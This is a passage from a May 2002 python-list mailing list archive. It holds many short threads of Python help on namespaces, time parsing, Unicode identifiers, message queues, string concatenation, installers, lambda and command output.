appreciate about generators/iterators is that they generally decrease the *latency* for getting the first entry. holger From loewis at informatik.hu-berlin.de Wed May 8 05:41:04 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 11:41:04 +0200 Subject: isinstance() not recognizing an instance correctly (python bug?) References: <abaau1$lv3$1@peabody.colorado.edu> <m3adrb6vsr.fsf@mira.informatik.hu-berlin.de> <abaf6q$o7j$1@peabody.colorado.edu> Message-ID: <j43cx3yo27.fsf@informatik.hu-berlin.de> Fernando Perez <fperez528 at yahoo.com> writes: > So both the user-defined one and the internal one have been imported > via the same statement. Note however that as I said, the interactive > user code is run in a closed namespace, which is what (I think) > causes the behavior. I could well be confused though. I guess you need to explain in more detail what a "closed namespace" is. Does it share sys.modules with the rest of the interpreter? If not, that would indeed explain the problem. You should compute and print the id of class Struct at both places, and see whether they are identical. If not, it is not surprising that the isinstance check fails - you would have two different classes that just happen to have the same name. Regards, Martin From bokr at oz.net Wed May 15 19:17:17 2002 From: bokr at oz.net (Bengt Richter) Date: 15 May 2002 23:17:17 GMT Subject: Merging contents of two files References: <3CE26265.54F83CAB@dlr.de> Message-ID: <abuq9t$869$0@216.39.172.122> On Wed, 15 May 2002 15:28:05 +0200, Katharina.Pergens at dlr.de wrote: >I'm a beginner. What to do ... First thing, try to post in plain text so more people will take the trouble to read: >I'm a beginner. What to do writing a Python script for searching the name of the >author of source files and generating an outputfile containing the author name >(containing in java source file), Explanation, File and Line (containing in txt File; >see below) >So, what I have is a text file (.txt) like the following: > Abbreviation Explanation. File Line > xyz comment for class /home/de/abc.java 45 > ... ... .. >This txt file contains of several lines and rows. The rows are sepearated by tabs. >The source files (mentioned as File in txt file) are java files. I search in the header >for > "* Created: dd/mm/yyy firstname.secondname" >How to write the script? >Thanks for your help! Regards, Bengt Richter From jknapka at earthlink.net Wed May 1 17:41:24 2002 From: jknapka at earthlink.net (Joseph A Knapka) Date: Wed, 01 May 2002 21:41:24 GMT Subject: Ways to get number of seconds from Epoch References: <aapibn$1h2$1@ns.felk.cvut.cz> Message-ID: <3CD060BC.CB0485D9@earthlink.net> "V?clav Sigmund" wrote: > > I am a Python newbie and I sudenly run into following problem: > > I would like to write a tool to analyze the access.log records from my > company's webserver, and it would be very convenient for to convert dates > date of the record into number of seconds from Epoch (let's call it > "standard unix time" for convenience). > > Each record have recorded time as follows: > > [15/Apr/2002:08:28:56 +0200] > > In my opinion, this information should be sufficient to convert the record > to "standard unix time". But function mktime from package only accepts tuple > with some additional informations like day of week etc. You can leave day-of-week and week-of-year out; they are ignored anyway when converting a time tuple to an epoch time. Cheers, -- Joe Any OS distinguishable from Windows is not sufficiently broken. From johnroth at ameritech.net Fri May 10 19:14:23 2002 From: johnroth at ameritech.net (John Roth) Date: Fri, 10 May 2002 19:14:23 -0400 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> Message-ID: <udol0hpg2g9gf7@news.supernews.com> "Martin v. Loewis" <martin at v.loewis.de> wrote in message news:m3wuucbjlb.fsf at mira.informatik.hu-berlin.de... > Erno Kuusela <erno-news at erno.iki.fi> writes: > > > | You mean, non-english-speaking people are prevented from using FORTRAN > > | and C? Can you name someone specifically? I don't know any such person. > > > > i don't know such people either. but since many people only know > > languages that aren't written in ascii, it seems fairly probable that > > they exist. > > I really question this claim. Most people that develop software (or > would be interested in doing so) will learn the latin alphabet at > school - even if they don't learn to speak English well. The trouble is that while almost all of the languages used in the Americas, Australia and Western Europe are based on the Latin alphabet, that isn't true in the rest of the world, and even then, it gets uncomfortable if your particular language's diacritical marks aren't supported. You can't do really good, descriptive names. And good, descriptive names are one of the bedrocks of good software. I'd very much prefer that this issue get faced head on and solved cleanly, although I doubt that it will be solved before Python 3.0. The way I'd suggest it is quite simple: 1. In Python 3.0, the input character set is unicode - either UTF-16 or UTF-8 (I'm not prepared to make a solid arguement one way or the other at this time.) 2. All identifiers MUST be expressed in the character set of a single language (treating the various latin derived languages as one for simplicity.) That doesn't mean that only one language can be used for a module, only that a particular identifer must make lexical sense in a specific language. 3. There must be a complete set of syntax words in each supported language. That is, words such as 'and', 'or', 'if', 'else' All such syntax words in a particular module must come from the same language. 4. All syntax words are preceeded by a special character, which is not presented to the viewer by Python 3.0 aware tools. Instead, the special character is used to pick them out and highlight them. The reason for this is that the vocabulary of syntax words can then be expanded without impacting existing programs - they are effectively from a different name space. > > Regards, > Martin From ELabuschagne at gims.com Thu May 2 07:39:51 2002 From: ELabuschagne at gims.com (Etienne Labuschagne) Date: Thu, 2 May 2002 13:39:51 +0200 Subject: Message queueing Message-ID: <E1C538E38148D611A3F90040F428459101D037@ESRIMAIL> Hi there, Thanks for your reply. I have looked at Pyro, but since the system is going to be very loosely coupled I will need features such as guaranteed message delivery that queues offer. This means that if a producer creates a message and puts it in the queue while a message consumer is not online, it should keep the message until the consumer comes online. The queue then delivers the message. If the queue machine itself dies, then the message will still not be lost, because messages are stored in persistant storage. Out of what I have read on Pyro, it does not go as far as this (although it will automatically try to reconnect when a connection is broken) - pleas correct me if I am wrong. Regards Etienne -----Original Message----- From: holger krekel [mailto:pyth at devel.trillke.net] Sent: Thursday, May 02, 2002 1:32 PM To: Etienne Labuschagne Cc: Python List (E-mail) Subject: Re: Message queueing On Thu, May 02, 2002 at 01:22:48PM +0200, Etienne Labuschagne wrote: > I am new to this group and could not find an answer after a Google search, > so please bear with me if this question was already asked. > > I need to build a distributed app and I am wondering which message queue to > use and if anyone has any experience with interfacing to them in general. If a python-only solution is ok for you you should definitely have a look at http://pyro.sourceforge.net It gets you started pretty quickly. holger -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20020502/63154418/attachment.html> From dfackrell at DELETETHIS.linuxmail.org Fri May 31 15:12:10 2002 From: dfackrell at DELETETHIS.linuxmail.org (Daniel Fackrell) Date: Fri, 31 May 2002 13:12:10 -0600 Subject: semi-concatenated strings References: <ad5vp6$17kc@drn.newsguy.com> <mailman.1022791249.9251.python-list@python.org> <ad84d70chf@drn.newsguy.com> <mailman.1022863315.9955.python-list@python.org> <ad8f7o017mn@drn.newsguy.com> Message-ID: <3cf7bcab$1@hpb10302.boi.hp.com> "Grant Griffin" <Grant_member at newsguy.com> wrote in message news:ad8f7o017mn at drn.newsguy.com... > In article <mailman.1022863315.9955.python-list at python.org>, Rich says... > > > ... > >Here's why I personally like this: > > > >>>>> '%s' 'x' % (5) > >'5x' > > >>>> '%s' + 'x' % (5) > >Traceback (most recent call last): > > File "<stdin>", line 1, in ? > >TypeError: not all arguments converted > > So it looks like the implicit "+" operator has a higher precedence than the > explicit "+" operator. (BTW, who knew that a language that doesn't have "++" > would need two string concatenation operators?) This concatenation has nothing to do with operators. Operators are acted on at runtime, this is simply a feature of the parser. If I knew more about the bytecode that Python generates, I could go in and show you that: 'a' 'b' or 'a' # intra-string comment 'b' # post-string comment produce bytecode for 'ab' (one token), where: 'a' + 'b' is read in as three distinct tokens representing "'a'", "+", and "'b'". The bytecode for this probably looks equivalent to operator.__add__('a', 'b') or something similar. I'm probably way off on the particulars, as I've not delved into the parser at all, but this should give you the idea that this is a compile-time vs. run-time difference, and has nothing to do with operators or operator precedence. Hope this helps. Daniel Fackrell From feldspar at ix.netcom.com Sat May 25 09:13:40 2002 From: feldspar at ix.netcom.com (Antaeus Feldspar) Date: Sat, 25 May 2002 10:13:40 -0300 Subject: Backwards emulation rather than backwards compatibility? Message-ID: <3CEF8E04.6040909@ix.netcom.com> I've seen both sides of the compatibility debate. "You're breaking my scripts!" vs. "You're holding back the language!" and I can understand both sides. While I do not think there is a perfect solution, I was struck the other day by a possible way to bridge the gap. Could the python interpreter be equipped with a mode that would allow it to emulate past interpreters? Thus, if someone needed access to a script that was designed for 1.5.2, they could pass a "--1.5.2" argument to the interpreter and have it run under 1.5.2's rules; more to the point, if a script's author wanted to be sure that their script could run on anything from 1.5.2 to 2.3, they could do it all with a single interpreter, rather than have to have a separate interpreter for checking each compatibility. -jc From whisper at oz.net Wed May 15 13:20:44 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 10:20:44 -0700 Subject: Python install on Windows In-Reply-To: <3ce26407.707302515@news.skynet.be> Message-ID: <GCEDKONBLEFPPADDJCOEEEJEDCAA.whisper@oz.net> In the python source distro in the PCbuild directory, look for python22.wse for the Wise install script. In the same directory, python.iss has the Inno-setup source script. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of > henk.derudder at barconet.com > Sent: Wednesday, May 15, 2002 6:36 > To: python-list at python.org > Subject: Re: Python install on Windows > > > On Wed, 15 May 2002 07:29:32 GMT, henk.derudder at barconet.com wrote: > > Does anybody know where I can find the source files of the nstallation > itself (*not* the python sources themselves)? > > Thanks > > >On Wed, 15 May 2002 09:02:17 +0200, "Thomas Heller" > ><theller at python.net> wrote: > > > >>> I downloaded the installer for Python 2.2 from www.python.org > >>> I just wondered whether the source files for that installation process > >>> are available and if so, where I can find/get them. I could use it to > >>> write an unattended installer to install just the interpreter and its > >>> libraries. > >> > >>They are contained in the source distribution. AFIAK, there are a > >>pcbuild.dsw file (which requires the commercial Wise > InstallBuilder), and the > >>start of an installation script for the free Inno-setup. > >> > >>Thomas > >> > >Thanks, can you tell me what the free Inno-setup is all about? > >Can I find the source distribution you mentioned on www.python.org? > >And what does AFIAK stands for? > > > >Henk > >> > > > > -- > http://mail.python.org/mailman/listinfo/python-list From mgilfix at eecs.tufts.edu Mon May 20 03:01:39 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Mon, 20 May 2002 03:01:39 -0400 Subject: Modular Python In-Reply-To: <GCEDKONBLEFPPADDJCOEAEGNDDAA.whisper@oz.net>; from whisper@oz.net on Sun, May 19, 2002 at 01:24:39PM -0700 References: <GCEDKONBLEFPPADDJCOEAEGNDDAA.whisper@oz.net> Message-ID: <20020520030139.A29979@eecs.tufts.edu> I was interested in this myself. From what I gathered from previous postings, there used to be a project called "deeply embedded python" but that was back at around 1.5.2 and the project has since ceased to exist. Nothing in the works really. I'd be very interested in being able to compile a portable core binary for that very purpose. -- Mike On Sun, May 19 @ 13:24, David LeBlanc wrote: > Why not modularize Python into a platform independent Python core ("Python") > and then have "PythonWin", "PythonUnix" and "PythonMac" add-on distributions > for the OS specifics? > > I'd also like to see something like "Rock Python" which would be a "bare > rock" minimal Python suitable for embedded devices. > > David LeBlanc > Seattle, WA USA > > > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (whisper) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From keichwa at gmx.net Sat May 11 01:28:37 2002 From: keichwa at gmx.net (Karl Eichwalder) Date: Sat, 11 May 2002 07:28:37 +0200 Subject: unknown locale de_DE@euro References: <wpVC8.5595$48.537956@zwoll1.home.nl> <mailman.1021068696.25046.python-list@python.org> Message-ID: <sh1ycjz20q.fsf@tux.gnu.franken.de> pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > Is not `@euro' fairly abusing the concept of language dialect? :-( The part after @ isn't standardized (AFAIK). "euro" is short and everybody will understand what's meant (territorium-where-the-euro-is-in-use) -- can you propose something better? If de_DE at euro isn't known to the system just fallback to de_DE without raising an error. -- ke at suse.de (work) / keichwa at gmx.net (home): | http://www.suse.de/~ke/ | ,__o Free Translation Project: | _-\_<, http://www.iro.umontreal.ca/contrib/po/HTML/ | (*)/'(*) From look at replyto.address.invalid Thu May 30 01:04:39 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Thu, 30 May 2002 17:04:39 +1200 Subject: Why no open(f, "w").write()? References: <ackri2$lhn$1@news.urz.uni-heidelberg.de> <3CF5A424.8010202@lindbergs.org> Message-ID: <3CF5B2E7.B768155F@replyto.address.invalid> VanL wrote: > > Ok, I've read the thread... but how is > > open(f, 'w').write(stuff) > > different than > > lines = open(f).readlines() In CPython they both work fine. In Jython they could both leak resources, and when writing there is the additional possibility of written data not making it to the file as soon as you'd like. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From geoff at gerrietts.net Thu May 16 17:08:22 2002 From: geoff at gerrietts.net (Geoff Gerrietts) Date: Thu, 16 May 2002 14:08:22 -0700 Subject: Leading zeroes problem In-Reply-To: <3ce41ce2_1@goliath2.newsgroups.com> References: <3ce41ce2_1@goliath2.newsgroups.com> Message-ID: <20020516210822.GD8527@isis.gerrietts.net> Quoting jb (jblazi at hotmail.com): > How do I get '00.0' from 0.0. I can say '%03d' % 0 but with floating > point numbers this does not work. You can use: "%04.1f" % 0.0 that'll give you what you're asking for, but it may not be exactly what you want. -- Geoff Gerrietts <geoff at gerrietts dot net> "Ordinarily he was insane, but he had lucid moments when he was merely stupid." --Heinrich Heine From phd at phd.pp.ru Wed May 22 09:30:17 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Wed, 22 May 2002 17:30:17 +0400 Subject: problem with gadfly and py2exe In-Reply-To: <oZMG8.72024$CN3.2218424@news2.tin.it>; from nospam@nospam.nospam on Wed, May 22, 2002 at 01:23:32PM +0000 References: <9eJF8.69521$zW3.1064537@news1.tin.it> <Xns9214724F891FAandy47halfcookedcom@203.109.252.31> <O85G8.62688$CN3.1985532@news2.tin.it> <83bsbapcmr.fsf@panacea.canonical.org> <oZMG8.72024$CN3.2218424@news2.tin.it> Message-ID: <20020522173017.A15216@phd.pp.ru> On Wed, May 22, 2002 at 01:23:32PM +0000, Max wrote: > Thanks, very useful... you never stop learning, even when you started Python > 3 months ago... :) 3 months? I haven't stopped learning even after 6 or 8 years! I am using Python since version 1.4 :) Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From akhar at videotron.ca Tue May 7 03:24:19 2002 From: akhar at videotron.ca (akhar) Date: Tue, 7 May 2002 00:24:19 -0700 Subject: Python and ITK? Message-ID: <tIIB8.32928$Oi5.1254261@weber.videotron.net> Has anyone use the python wrapper for ITK (www.itk.org) ? I would like to know how well it fares? Regards Stephane From phr-n2002a at nightsong.com Mon May 13 21:23:51 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 13 May 2002 18:23:51 -0700 Subject: which db should I use? References: <mtanba.i1f.ln@127.0.0.1> <mailman.1021261941.23977.python-list@python.org> Message-ID: <7x4rhbplnc.fsf@ruckus.brouhaha.com> I don't think an SQL database is what you want. Try a text indexing program like Glimpse (www.glimpse.org) or Harvest (look in Google) etc. From jb at cascade-sys.com Fri May 17 13:13:20 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 10:13:20 -0700 Subject: OT: Crazy Programming References: <mailman.1021483146.13317.python-list@python.org> <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <mailman.1021510410.32402.python-list@python.org> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> <mailman.1021636709.31088.python-list@python.org> <nr8F8.1714$C4.104431@ozemail.com.au> Message-ID: <3CE53A30.38D4805C@cascade-sys.com> Patrick wrote: > "James J. Besemer" <jb at cascade-sys.com> wrote in message > news:mailman.1021636709.31088.python-list at python.org... > > [...] > > Laura's choice of a particularly subjective example actually underscores > > the point. Although there is a lot of inescapable subjectivity regarding > > ranking wines, a general consensus nevertheless emerged regarding a great > > number of "measurements". > > It's possible that this consensus emerges as a result of training, rather > than as a result of any quality inherent in the wine. Or, on second > thoughts, both: An aspiring wine taster learns to recognise and appreciate > the very qualities that an expert has determined to be "good". To some > extent, the choice of these qualities is arbitrary, but once they've been > adequately described and considered authoritative, they can be recognised > and, to some extent, measured. Of course that says very little about whether > the tasters are recognising "quality", rather than "a quality". The latter > seems far more likely to me (which in no way undermines the value of refined > taste). I see your point but I think the judgement-as-a-result-of-training argument is way more applicable to programming styles than to wine tasting. With wine tasting, the cheaper wines tend to exagerate one or more specific taste sensation over all others. They start to taste sour, bitter or too sweet -- in a word, bad. To be sure, these may be qualities which happen to appeal to some isolated individuals but I think most people who enjoy drinking wine would without any training agree on best vs. worst wines and some gradations in between. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From aleax at aleax.it Thu May 2 05:03:44 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 09:03:44 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: <Qh7A8.38334$8D3.1129579@news1.tin.it> pekka niiranen wrote: > After reading about Scheme, I begun to wonder: > > Is there any forced need for Lambda's in Python ? I mean does Lambda > contribute anything that cannot be done otherwise in Python ? Not really. lambda lets you have an anonymous function, and create a function within an expression (while def is a statement and does require a name), so you may be able to collapse a few things a little bit more, in theory, e.g.: funs = [lambda x: x+1, lambda x: x*2] vs: def plus1(x): return x+1 def times2(x): return x*2 funs = [plus1, times2] but that's about it. Alex From barbaros at lmc.fc.ul.pt Tue May 21 11:51:22 2002 From: barbaros at lmc.fc.ul.pt (Cristian Barbarosie) Date: 21 May 2002 08:51:22 -0700 Subject: suggestion for os.path.commonprefix References: <6c575772.0205210145.359ea49a@posting.google.com> Message-ID: <6c575772.0205210751.813842f@posting.google.com> One line dissapeared misteriously from the code in my previous posting. (if number_of_paths == 0) Below is the full version. Sorry for the typo. One more comment: yes, I suppose dirname could be defined as def dirname(path): return commonprefix([path]) Cristian Barbarosie http://www.lmc.fc.ul.pt/~barbaros ----------------------------------------------------------------- def commonprefix (list_of_paths): """Like in os.path, but more in the spirit of path manipulation. Items must end in os.sep if they represent directories.""" number_of_paths = len(list_of_paths) if number_of_paths == 0: return '' first_path = list_of_paths[0] largest_i = -1 for i in range(len(first_path)): stop = 0 character = first_path[i] for n in range(1,number_of_paths): item = list_of_paths[n] if (i >= len(item)) or (character <> item[i]): # here we took advantage of the way Python evaluates # logical expressions: if the first one is true, # then the second one is not evaluated stop = 1 break if stop: break if character == os.sep: largest_i = i prefix = first_path[:largest_i+1] return prefix From cwise at ses.swin.edu.au Fri May 31 23:05:25 2002 From: cwise at ses.swin.edu.au (Chris Wise) Date: Sat, 01 Jun 2002 13:05:25 +1000 Subject: My .py CGI script works in IE but not Netscape References: <79b54d28.0205311837.731002aa@posting.google.com> Message-ID: <ad9dk9$6jp$1@c3p0.cc.swin.edu.au> Chris wrote: > My script doesnt work in Netscape for some reason. I'm developing on a > UNIX envionrment with Python 2.2.1. I open up Netscape in windows and > only the background picture of my webpage loads... nothing else. > However in IE it works perfectly. Any general ideas as to what may be > going on? Thanks. Use view source in both browsers to examine the script's HTML output. Unless you are deliberately detecting the browser type and altering the output on that basis, the output should be the same. Possibly you are outputting invalid HTML and IE is tolerating it, whereas Netscape is not. Chris Wise From b_mcerlean at yahoo.com Wed May 8 13:00:06 2002 From: b_mcerlean at yahoo.com (Brian McErlean) Date: 8 May 2002 10:00:06 -0700 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> Message-ID: <f040c4f9.0205080900.19f62fa9@posting.google.com> Julia Bell <Julia.Bell at jpl.nasa.gov> wrote in message news:<3CD9376E.BEF43213 at jpl.nasa.gov>... > Using Python 1.3 on an HP (UNIX) (to write my first Python script): > > In the following script, the while loop doesn't exit as expected if one > of the variables in the conditional is assigned to equal sys.argv[1]. > It works as expected if I explicitly set the variable to the number > (that is entered as the argument). > > (stored in executable myscript.py) > #!/usr/local2/bin/python > import sys > count = 0 > orbits = sys.argv[1] > while count < orbits: > print count, orbits > count = count + 1 > if count > 100: # use this to prevent the infinite loop it gets > into > sys.exit ( 1 ) > > The command line I use is: > myscript.py 16 Note that the arguments to the script get passed as strings, so orbits = sys.argv[1] is actually equivalent to: orbits = '16' Python does not perform coercion of strings to numbers, but does define an arbitrary order when comparing different types, hence "count < '16'" is true for any number, so your loop never terminates. What you really want is: orbits = int(sys.argv[1]) Hope this helps, Brian. From achim.domma at syynx.de Tue May 21 12:46:17 2002 From: achim.domma at syynx.de (Achim Domma) Date: Tue, 21 May 2002 18:46:17 +0200 Subject: apphelp.dll dependency of python22.dll Message-ID: <acdt56$387$01$1@news.t-online.com> Hi, on Windows the python22.dll (from ActiveState and python.org) depends on apphelp.dll, which is WinXP specific. In 'normal' use, this seems to be no problem, because the dll is delay-loaded, but if I try to import my own extension it fails. Has somebody the same problem? Can somebody tell me, on which plattform these both version have been compiled? greetings Achim From trentm at ActiveState.com Wed May 22 19:15:18 2002 From: trentm at ActiveState.com (Trent Mick) Date: Wed, 22 May 2002 16:15:18 -0700 Subject: ImportError: No module named win32com.client" error In-Reply-To: <DHEFKCDPFOKMNIMFNHNLGEHPCDAA.python@pferris.com>; from python@pferris.com on Wed, May 22, 2002 at 05:21:52PM -0500 References: <DHEFKCDPFOKMNIMFNHNLGEHPCDAA.python@pferris.com> Message-ID: <20020522161518.B6180@ActiveState.com> [Peter F. Ferris wrote] > Greetings, > > Whenever I try: > > import win32com.client > > I get a "ImportError: No module named win32com.client" error. > > This is leading up to the next line of code, which is something like: > > SomeSite = win32com.client.Dispatch('CuteFTPPro.TEConnection') > > What's up with the "import win32com.client" line? Is this a (3rd party) > module I need to specifically hand import? If so, how do I do it, and where > do I find it? If not, what might I be doing wrong? > > Running Win2000 with Python 2.2.1c1 > > All hints & suggestions appreciated! win32com.client (and indeed "win32com") are part of the PyWin32 extension module. You can get that from here: http://starship.python.net/crew/mhammond/win32/Downloads.html Cheers, Trent -- Trent Mick TrentM at ActiveState.com From "aglyport\" at n-o.s,p/a__m.yahoo.com> Fri May 17 20:01:57 2002 From: "aglyport\" at n-o.s,p/a__m.yahoo.com> (Anton Graph) Date: Fri, 17 May 2002 17:01:57 -0700 Subject: references to forkpty and openpty on Linux (RH7.2) Message-ID: <ueb5k8grj1qafc@corp.supernews.com> g++ -V 2.95.3 -g -o metadb metadb.o metaadb.o metaddl.o metapy.o i386-linux.o -L/usr/local/lib/python2.2/config -lpython2.2 config2.o -lpthread -ldl -lm config2.o(.data+0x0):/usr/local/agl/metadb/config2.c: multiple definition of `_PyImport_Inittab' /usr/local/lib/python2.2/config/libpython2.2.a(config.o)(.data+0x0):/usr/local/src/Python-2.2.1/Modules/config.c: first defined here /usr/bin/ld: Warning: size of symbol `_PyImport_Inittab' changed from 120 to 128 in config2.o /usr/local/lib/python2.2/config/libpython2.2.a(posixmodule.o): In function `posix_tmpnam': /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:4501: the use of `tmpnam_r' is dangerous, better use `mkstemp' /usr/local/lib/python2.2/config/libpython2.2.a(posixmodule.o): In function `posix_tempnam': /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:4451: the use of `tempnam' is dangerous, better use `mkstemp' /usr/local/lib/python2.2/config/libpython2.2.a(posixmodule.o): In function `posix_openpty': /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:1934: undefined reference to `openpty' /usr/local/lib/python2.2/config/libpython2.2.a(posixmodule.o): In function `posix_forkpty': /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:1965: undefined reference to `forkpty' for i in *.a; do echo $i; nm $i|grep forkpty; done as well as for i in *.so; do echo $i; nm $i|grep forkpty; done produced no results and, yet, pyconfig.h happily reports #define HAVE_OPENPTY 1 Any ideas what is going on? Thank you. If that's of any help I've blown /usr/lib/gcc-lib that contained support files for gcc 2.96. I'm not using 2.96 though, see command line. Btw is including config file with my extension module after python2.2 lib on the linker command line sounds right? From phil at river-bank.demon.co.uk Sat May 11 14:32:39 2002 From: phil at river-bank.demon.co.uk (Phil Thompson) Date: Sat, 11 May 2002 19:32:39 +0100 Subject: PyQt (again) References: <3cdd65b2$1_9@nopics.sjc> Message-ID: <3CDD63C7.F65EDE99@river-bank.demon.co.uk> Adonis wrote: > > is there a compiled version of PyQt available for win32? i have looked > around google and someone mentioned about PyQt being compiled, but never > concluded who/where it would be available? can anyone shed some light on > this subject? im using Tkinter, and its fine, but i need to start making a > little bit more pro-grade looking interfaces, and yes wxPython is one of the > best available out now, but i like PyQts interfaces better.. > > any help would greatly be appreciated. There is a pre-compiled version for the non-commercial version of Qt at http://www.riverbankcomputing.co.uk/. If you wait a few hours v3.2.2 will be released. Phil From peter at engcorp.com Thu May 30 23:46:10 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 23:46:10 -0400 Subject: semi-concatenated strings References: <mailman.1022811221.4265.python-list@python.org> Message-ID: <3CF6F202.7274E43E@engcorp.com> "Delaney, Timothy" wrote: > > > From: Peter Hansen [mailto:peter at engcorp.com] > > > > And which has both embedded "\n" newlines and many more leading > > spaces before each line... > > That's why I would bind it to a name first - that allows me to preprocess > the query before passing it in. > I would much rather write it so it is readable, then process it for the > database, than the other way around. > > sql = """ > select cities.city, state, country > from cities, venues, events, addresses > where cities.city like %s > and events.active = 1 > and venues.address = addresses.id > and addresses.city = cities.id > and events.venue = venues.id > """ > > sql = string.split(sql) > sql = string.join(sql, ' ') > sql = string.strip(sql) > > rows = self.executesql(sql, (city,)) What a lot of extra work to make something "readable"! I don't think that this is more readable than the simple, straightforward approach Skip presented. It uses many more lines and a bunch of superfluous operations (without even a comment explaining why you are splitting and joining things this way instead of just using simple string concatenation). If I saw code like this in my team I'd ask that a comment be added to explain it, and if the comment said "# doing this so the code is more readable" I'd ask that it be refactored so it didn't need the comment at all, after I got back up off the floor. I expect the refactoring would take the form of the original example which needs no extra operations or commenting. > Skip also asked why I would bind the statement to a name. For a query of > this size, I find it easier to read - the sql query is separate and (to my > eye) cleaner than having the literal as a function parameter. Plus it uses > much less horizontal white space. Nothing wrong with separating things out like that if you think it looks more readable, but this is one case where I agree with Skip's approach even though it looks a lot like "hardcoded strings" which is generally a Code Smell. Simpler is much better here. (I might agree with you more if I thought that maintaining the string-concatenated version would actually be harder. Given the likely nature of the maintenance -- adding fields to the line with "from cities, ..." for example, or adding a new line to the "where" intersection -- I don't believe it would be *any* harder.) -Peter From yallowman at katamail.com Tue May 28 03:59:33 2002 From: yallowman at katamail.com (Yallowman) Date: Tue, 28 May 2002 09:59:33 +0200 Subject: mx library Message-ID: <3CF338E5.F3F0931C@katamail.com> I need us mx library on RedHat 6.2. Where can i find this rpm ? From timr at probo.com Wed May 22 02:10:48 2002 From: timr at probo.com (Tim Roberts) Date: Tue, 21 May 2002 23:10:48 -0700 Subject: rfc822 module: deleting headers References: <mailman.1022009257.19405.python-list@python.org> Message-ID: <mbdmeuoq1bgacrt509suvtkadp2nlf5k84@4ax.com> "Jason R. Mastaler" <jason-dated-1022700360.9a9240 at mastaler.com> wrote: >This question concerns how to remove headers from an incoming mail >message using the rfc822 module. The docs say: > > Message instances also support the mapping writable interface > m[name] = value and del m[name]. Yes, but all this does is alter the copy of the message in memory. It doesn't change any files. >So take the following program invoked from a .qmail file (qmail's >equivalent of .forward): I don't know about .qmail, but sendmail's .forward cannot be used to filter e-mail. You can read the message, send it somewhere else, store it to file, or do other things, but you can't alter the message on its way to your local mailbox. Indeed, in your example, you didn't DO anything with your altered message. You read it from stdin and modified it in memory, but you didn't write it anywhere. You might want to investigate procmail. It is designed for this kind of application. If .qmail is supposed to support the same kind of functionality, then you need to figure out where you are supposed to WRITE the modified message. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From shagshag13 at yahoo.fr Sat May 18 05:38:36 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 18 May 2002 02:38:36 -0700 Subject: Strange error in IDLE References: <409a56e2.0205170241.5e5bba2e@posting.google.com> <d7fcf8b4.0205170901.43e61fe4@posting.google.com> Message-ID: <409a56e2.0205180138.1d4d3fc5@posting.google.com> samschul at pacbell.net (Samuel Schulenburg) wrote in message news:<d7fcf8b4.0205170901.43e61fe4 at posting.google.com>... > > The callTips routine is correctly reporting that you have not inserted > a string within the Documentation string. I do not understand why you > would want to create a null string for documentation. > > Sam Schulenburg Thanks !!! In fact i doesn't even know this was a feature of python (and a great one !!!), I read more on this just after my post and understand i should have write something... S13. From noah at noah.org Thu May 2 15:54:29 2002 From: noah at noah.org (Noah) Date: Thu, 2 May 2002 12:54:29 -0700 Subject: Perl-like backtick in Python In-Reply-To: <e4804e26.0205021047.4e56ee47@posting.google.com> Message-ID: <PAENINBOOODFDEPOKPKCKEHPCNAA.noah@noah.org> If you want to control NONINTERACTIVE applications like cat or ls then try this: str = os.popen('cat myfile.in').read() You can't do this very well with interactive applications like telnet, but then the Perl backticks don't do that either. Python has backticks too, but it returns repr() on the enclosed expression or object. Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of Tom Verbeure Sent: Thursday, May 02, 2002 11:48 AM To: python-list at python.org Subject: Perl-like backtick in Python Hi All, In Perl i can do something like this: $str = `cat myfile.in`; Basically the string that is surrounded by the backticks is executed by a shell and the stdout is returned as a string. In the python library, there is spawn*, exec* and system, but the return the exit status of the command, not the output. Any suggestions about who to do this? Thanks, Tom From sholden at holdenweb.com Tue May 7 10:33:24 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 10:33:24 -0400 Subject: HTTP or alternative upload for large files References: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> Message-ID: <TDRB8.7881$m26.4121@atlpnn01.usenetserver.com> <robin at execulink.com> wrote ... > This may not be specifically a Python problem, so 